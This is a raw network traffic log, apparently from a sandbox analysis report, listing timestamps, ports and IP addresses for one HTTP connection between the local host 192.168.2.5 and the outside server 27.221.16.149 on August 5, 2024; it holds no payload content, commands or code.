Aug 5, 2024 12:00:04.847616911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847629070 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847632885 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847640038 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847652912 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847654104 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847691059 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847712994 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.916682005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.916907072 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.916940928 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.916969061 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.916975021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.917011023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.917026997 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.917052031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.917087078 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.917104959 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.935857058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.935952902 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241343975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241386890 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241420984 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241452932 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241486073 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241494894 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241518021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241542101 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241575956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241609097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241609097 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241642952 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241666079 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241674900 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241712093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241731882 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241744041 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241779089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241801023 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241811037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241842985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241864920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241874933 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241908073 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241933107 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.241940975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.241972923 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242001057 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242003918 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242038965 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242063999 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242244959 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242276907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242301941 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242309093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242341995 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242364883 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242377043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242425919 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242434978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242463112 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242511988 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242518902 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242544889 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242594004 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242600918 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242645979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242695093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242705107 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242734909 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242767096 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242783070 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242799997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242831945 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242851973 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242881060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242928982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242938042 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.242964029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.242993116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243024111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243024111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243066072 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243073940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243104935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243151903 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243153095 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243185997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243216991 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243236065 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243249893 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243282080 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243295908 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243314028 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243345976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243360043 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243377924 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243410110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243424892 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243442059 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243474960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243494034 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243506908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243537903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243556023 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243570089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243602991 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243627071 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243635893 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243675947 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243696928 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243712902 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243746996 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243762970 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243777990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243810892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243832111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243846893 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243881941 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243894100 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243912935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243944883 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.243956089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.243977070 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244009018 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244024038 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244040012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244071960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244088888 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244105101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244137049 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244148016 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244168043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244199038 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244213104 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244230986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244266033 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244277954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244298935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244337082 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244352102 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244370937 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244402885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244416952 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244435072 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244467974 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244488955 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244541883 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244575024 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244589090 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.244610071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.244667053 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.315290928 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315360069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315393925 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315426111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315424919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.315459013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315475941 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.315493107 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315526009 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315546989 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.315560102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.315608978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.372235060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.426373005 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626050949 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626107931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626163006 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626194954 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626221895 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626229048 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626260042 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626270056 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626302958 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626313925 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626336098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626368999 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626383066 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626405001 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626455069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626473904 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626487970 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626521111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626532078 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626554012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626588106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626597881 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626621008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626657963 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626684904 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626691103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626725912 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626738071 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626759052 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626791954 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626804113 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626823902 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626856089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626867056 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626888037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626920938 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.626933098 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.626971960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627003908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627015114 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627037048 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627068996 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627082109 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627110004 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627141953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627157927 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627176046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627211094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627233028 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627243042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627276897 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627288103 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627309084 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627341032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627357006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627372980 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627418041 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627424002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627456903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627489090 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627501011 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627521992 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627553940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627566099 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627584934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627620935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627630949 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627654076 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627687931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627707958 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627722025 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627756119 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627768040 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627814054 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627846956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627859116 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627880096 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627912045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.627924919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.627960920 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628000021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628004074 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628050089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628089905 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628097057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628129005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628161907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628173113 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628192902 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628235102 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628261089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628312111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628359079 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628361940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628391981 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628437042 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628439903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628475904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628519058 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628552914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628587008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628618002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628629923 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628654003 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628685951 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628696918 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628719091 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628751040 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628781080 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628783941 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628819942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628832102 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628854036 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628885031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628899097 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628917933 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628950119 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.628978968 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.628983021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629014969 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629024982 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629048109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629080057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629092932 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629113913 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629144907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629153967 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629178047 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629204988 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629220963 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629236937 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629268885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629278898 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629301071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629333973 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629348040 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629365921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629400015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629430056 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629432917 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629463911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629488945 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629494905 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629528046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629542112 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629559994 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629590988 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629606009 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629625082 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.629666090 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.629960060 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.630034924 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.686959982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687015057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687048912 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687074900 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.687081099 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687114000 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687124014 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.687146902 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687179089 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687197924 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.687211990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687244892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687283993 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.687294960 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.687330961 CEST	49766	80	192.168.2.5	27.221.16.149
